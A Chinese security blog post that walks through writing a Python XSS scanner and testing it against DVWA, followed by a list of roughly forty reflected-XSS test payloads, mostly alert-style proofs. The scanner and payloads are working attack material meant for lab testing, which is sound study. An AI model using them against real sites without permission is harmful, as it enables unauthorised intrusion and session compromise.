写个xss检测器怎么样

  1. 前言:
    1. 正文:

前言:

前言都写了好多次了,都不知道写什么了。。。就是之前已经写了SQL注入的检测了。顺便把xss检测写了

正文:

为了进行测试,首先搭建DVWA环境。这里我用Ubuntu搭建的
搭建环境这里我就不说了。
漏洞说明:

xss漏洞(跨站脚本注入漏洞)攻击者将
恶意的JavaScript代码注入到页面发起恶意攻击
当注入成功的时候页面会有注入成功的语句

代码思路:

1.首先遍历存放xss payload的文件夹,进行读取
2.让使用者输入URL并要在指定插入xss payload的地方插入*
3.替换*为xss的payload
4.检测页面是否有注入成功的xss payload
5.将注入成功的语句写入一个txt里

代码:

import requests
import os
import re

def scan():
    xj = open('save.txt', 'w')
    xj.close()
    headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
    cookies={}
    user=input('url:')
    cookier=input('cookie:')
    for c in cookier.split(';'):
        key,value=c.split('=',1)
        cookies[key]=value
    print(cookies)
    print('[*]{}'.format(user))
    dq = os.listdir('xss_payload')
    for line in dq:
        print('[+]{}'.format(line))
        ds = open('xss_payload/{}'.format(line),'r')
        for we in ds.readlines():
            #print(we)
            qc=''.join(we.split('\n'))
            th=user.replace('*','{}'.format(qc))
            try:
                rest=requests.session()
                livs=rest.get(url=th,headers=headers,cookies=cookies)
                if qc in livs.text:
                    print('[+]xss payload:{}{}'.format(livs.url,qc))
                    print('[+]xss payload:{}{}'.format(livs.url, qc),file=open('save.txt','a'))
                else:
                    print('[-]Not xss payload:{}'.format(qc))
            except Exception as r:
                print('[-]Error {}'.format(r))

scan()

DVWA低级到高级的测试:
(不可能级别将字符实体化已经不存在xss漏洞)

low级:

随便找个Payload来测试一下:

Medium级:

随便找个 payload来测试下:

high级:


随便找个payload:

收集到的payload古灵精怪的,有一些不只是弹窗。
一些常用的手动xss测试语句:

javascript:alert(1)//INJECTX
<svg/onload=alert(1)>//INJECTX
<img onload=alert(1)>//INJECTX
<img src=x onerror=prompt(1)>//INJECTX
<a href="javascript:alert(1)" onmouseover=alert(1)>INJECTX HOVER</a>
 onmouseover="document.cookie=true;">//INJECTX
alert(1)>//INJECTX
<h1>INJECTX</h1>
<img src=x onload=prompt(1) onerror=alert(1) onmouseover=prompt(1)>
<svg><script>/<@/>alert(1)</script>//INJECTX
<svg/onload=alert(/INJECTX/)>
<iframe/onload=alert(/INJECTX/)>
<svg/onload=alert`INJECTX`>
<svg/onload=alert(/INJECTX/)>
<svg/onload=alert(`INJECTX`)>
}alert(/INJECTX/);{//
<h1/onclick=alert(1)>a//INJECTX
<svg/onload=alert(/INJECTX/)>
<p/onclick=alert(/INJECTX/)>a
<svg/onload=alert`INJECTX`>
<svg/onload=alert(/INJECTX/)>
<svg/onload=alert(`INJECTX`)>
<video><source onerror="javascript:alert(1)">//INJECTX
<video onerror="javascript:alert(1)"><source>//INJECTX
<audio onerror="javascript:alert(1)"><source>//INJECTX
<input autofocus onfocus=alert(1)>//INJECTX
<select autofocus onfocus=alert(1)>//INJECTX
<textarea autofocus onfocus=alert(1)>//INJECTX
<keygen autofocus onfocus=alert(1)>//INJECTX
<button form=test onformchange=alert(1)>//INJECTX
<form><button formaction="javascript:alert(1)">//INJECTX
<svg onload=(alert)(1) >//INJECTX
<script>$=1,alert($)</script>//INJECTX
<!--<img src="--><img src=x onerror=alert(1)//">//INJECTX
<img/src='x'onerror=alert(1)>//INJECTX
<marguee/onstart=alert(1)>//INJECTX
<script>alert(1)//INJECTX
<script>alert(1)<!--INJECTX
<marquee loop=1 width=0 onfinish=alert(1)>//INJECTX

xss万能注入语句:https://www.jianshu.com/p/3f16269c83db
转载请声明:专自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:写个xss检测器怎么样

本文作者:九世

发布时间:2018-08-14, 13:48:07

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/6be20071.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录